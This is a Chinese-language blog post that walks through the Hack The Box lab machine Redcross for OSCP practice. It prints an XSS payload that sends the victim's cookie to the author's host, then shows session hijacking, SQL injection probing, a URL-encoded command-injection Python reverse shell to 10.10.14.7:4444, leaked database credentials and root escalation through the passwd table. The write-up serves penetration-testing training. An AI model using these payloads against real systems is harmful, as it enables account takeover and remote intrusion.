freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Oscp训练靶场之HTB-Redcross
2023-04-30 17:55:02
所属地 江西省

Redcross 是一个在Hack The Box中属于难度中等的靶机,知识点涉及XSS漏洞获取web系统管理员权限、Cookie欺骗、PostgreSQL、XSS漏洞poc测试、sql注入、远程命令执行漏洞、Web系统的代码白盒审计分析等。感兴趣的同学可以在HackTheBox中进行打靶练习。image.png

0x01 信息收集-reconnaissance

端口探测

首先利用nmap进行端口扫描

nmap -sC -sV -A -v 10.10.10.123


1682848238_644e39ee38b5b718ce8c4.png!small?1682848238891

1682848262_644e3a0663161ab61450c.png!small?1682848262434

根据nmap的扫描结果可知,该目标主机可能运行着Linux系统,开放了提供SSH服务的22端口、提供http服务的80端口以及提供https服务的443端口。

1682840151_644e1a57e7d20e380009b.png!small?1682840152063

我们访问该ip的80端口,http://10.10.10.113/的结果显示如上图所示,可以看到访问请求被自动定向到https服务,因此我们需要在Kali系统中的hosts文件添加如下信息。

10.10.10.113  redcross.htb intra.redcross.htb

1682840395_644e1b4bcffb1042c9630.png!small?1682840395922

该登录页面需要有用户名和密码才能进行登录操作,但是目前信息收集有限,所以登录框暂时搁置。此外,页面上有一个“contact form”的超链接,点击“https://intra.redcross.htb/?page=contact”

1682840545_644e1be11e80feeaf6287.png!small?1682840545128

0x02漏洞利用

XSS漏洞检测

我们分别在三个文本框中分别测试XSS检测语句<img src="javascript.:alert('1234')">。

1682840780_644e1ccc5a6e10095c69d.png!small?1682840780358

发现第一个和第二个输入框的显示结果为:

1682840830_644e1cfe70074d8686b9a.png!small?1682840830356

第三个输入框的显示结果为没有提示内容存在安全风险,这意味着该文本框可能存在XSS漏洞的。

1682840996_644e1da4b05befce59b66.png!small?1682840996625

因为第三个文本框并不会进行回显操作,因此无法获得警告弹窗显示,所以我们换一种测试思路来判断是否存在XSS漏洞,在该文本框输入:


<script>var myimg = new Image();myimg.src = 'http://10.10.14.7/q?='+ document.cookie;</script>

注:代码中的ip为我的Kali主机的ip地址。

在文本框输入xss测试poc后,还需要再Kali主机开启一个http服务:python3 -m http.server 80

1682841386_644e1f2a9f7da88ce29f4.png!small?1682841386871

上升操作做完后,可以发现kali主机的http服务出现了一个目标主机访问Kali的请求链接,链接中有一个phpsessionid,证明该后端确实存在XSS漏洞。

利用XSS获取的PHPSESSIONID获取Web管理员权限

回到登录界面https://intra.redcross.htb/?page=login。通过F12(也可以Crtl+Shift+i)打开浏览器的开发调试模式。

1682841821_644e20dd120e442a6508c.png!small?1682841821132

将cookie替换为之前利用xss漏洞欺骗所获取的phpsessonid,发现成功绕过登录框,直接获取
Web登录管理员的权限!!!

1682841935_644e214ff16e27b68680b.png!small?1682841936107

漏洞线索-sql注入测试并发现新的子域名系统

在拿到Web管理员权限界面后,尝试sql注入测试:https://intra.redcross.htb/?o=1%27&page=app

可能存在的注入点

  1. oparameter in GET /?o=2&page=app

1682843145_644e260959ba2ffd6f754.png!small?1682843145396

通过sql注入的报错显示,名为admin webpanel的平台,着意味着当前域名存在其他的子域名系统。

我们需要把该子域名加入Kali主机的hosts文件中,更新后的hosts文件如下所示:

1682843867_644e28dbd1c6f027d3168.png!small?1682843867871

添加后,尝试访问https://admin.redcross.htb/?page=login

1682844219_644e2a3b4e009ec9bdab8.png!small

再次使用admin账号的PHPSESSIONID,发现依然有效,成功登录该admin pannel的web系统

1682844401_644e2af1ee64828986040.png!small?1682844402024



点击左边的“User management",add一个用户

1682844934_644e2d06936b6fbbca601.png!small?1682844934634


1682844919_644e2cf78e0052aa24c5e.png!small?1682844919477


如上如所示,新增的用户分配了UID和GID,这看起来很像LInux系统中的用户类型,所以尝试刚才被分配的账号test,利用ssh成功登录目标主机系统,获取一个比较低的权限。

1682845005_644e2d4d2d2abdae24996.png!small?1682845005248

漏洞利用之获取Web系统授权后的RCE

乍一看,直觉告诉我下图中的文本输入框可能存在授权后的远程命令执行漏洞,于是简单的测试一下

1682845200_644e2e10ebacbb89f49a5.png!small?1682845201052

1682845334_644e2e96eebcc4d72573e.png!small

下图所示,经测试后发现会回显一个错误提示页面,”ERR: Invalid IP Address format“,大意是输入不合法的IP地址格式,说明该文本框的后台存在类似waf的IP地址格式的检测。

利用Burpsuite测试”deny“按钮,下图是拦截deny操作的流量数据。

1682845674_644e2fea45074738ce582.png!small?1682845674408

将捕获的流量数据放入Burpsuite的Repeater中,分隔的id命令符号”;“改为”%3b"进行了url编码,来绕过ip地址格式检测

反弹shell的payload为:ip=127.0.0.1%;ip=1;python+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.14.7",4444))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call(["/bin/sh","-i"])%3b'&action=deny&id=14&action=deny

其中payload中的10.10.14.7为kali主机的IP地址,4444是在kali主机根据nc的监听端口,成功获得反弹shell。

1682845946_644e30fa2571ed766fb35.png!small?1682845946397

使用python -c 'import pty;pty.spawn("/bin/bash")'命令开始一个标准的bash终端,然后使用stty raw -echo 命令禁用终端回显。

1682846201_644e31f997ca3f34278e6.png!small?1682846201488

漏洞利用之Web站点的代码审计分析

输入ls -al命令,发现actions.php文件

1682846306_644e3262ec7e83cc2fdbd.png!small?1682846306921

打开actions.php文件,发现添加adduser功能所对应的代码,账号密码为:user=unixusrmgr password=dheu%7wjx8B&

利用命令: psql -h 127.0.0.1 -d unix -U unixusrmgr -W尝试登录PortgreSQL数据库

1682846528_644e334075848dc7b7897.png!small?1682846528419

输入select*from passwd_table;查看数据表中的内容,结果如下图所示:

1682846659_644e33c3a5958cfb475b8.png!small?1682846659594

按照LInux操作系统的设定,修改UID和GID、密码的操作也会引发目标系统中/etc/passwd文件的对应用户信息。所以,把tricia的UID和GID改为为具有root权限的数值,这样我们在使用sudo su命令时,tricia直接拥有root权限,为了后期提权方便,把tricia的密码改为sXuCKi7k3Xh/s(解码后为toor)

1682847103_644e357ff41758d9e8dfe.png!small?1682847104061

通过update passwd_table set gid=27 where username='tricia';

1682847170_644e35c2682ae8782d022.png!small?1682847170209

最后,通过\q命令退出该数据库,利用su tricia命令切换至tricia用户,输入密码toor,成为切换至tricia用户。

输入id命令,发现成功提权至root。

1682847386_644e369a10fa71a107ea0.png!small?1682847386090

0x03总结

在本次靶机实战中,通过XSS漏洞获取网站的管理员admin的phpsessionid,然后利用该phpsessionid成功获取网站的admin权限。


在获取web管理员权限后,利用Web系统中的功能逻辑发现可以对白名单ip进行修改或删除等操作,于是便利用该逻辑特性成功进行RCE。

在提权环节,我们根据Linux系统的特性,,修改用户tricia用户的UID和GID、密码的操作也会引发目标系统中/etc/passwd文件的对应用户信息。所以,把tricia的UID和GID改为为具有root权限的数值,这样我们在使用sudo su命令时,tricia直接拥有root权限。

# 渗透测试 # web安全 # OSCP # HTB渗透
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录